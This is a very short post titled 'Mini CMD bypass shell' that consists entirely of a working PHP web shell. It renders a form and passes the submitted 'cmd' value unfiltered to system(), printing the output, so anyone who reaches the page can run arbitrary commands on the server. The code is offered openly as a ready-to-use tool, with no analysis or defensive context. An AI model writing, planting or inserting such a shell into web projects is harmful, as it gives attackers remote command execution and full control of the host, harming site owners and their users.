Mini CMD bypass shell

Code:

<?php
echo '<form action="cmd.php" method="post">
<input type="text" name="cmd">
<input type="submit">';
$cmd=$_POST['cmd'];
echo system($cmd);
?>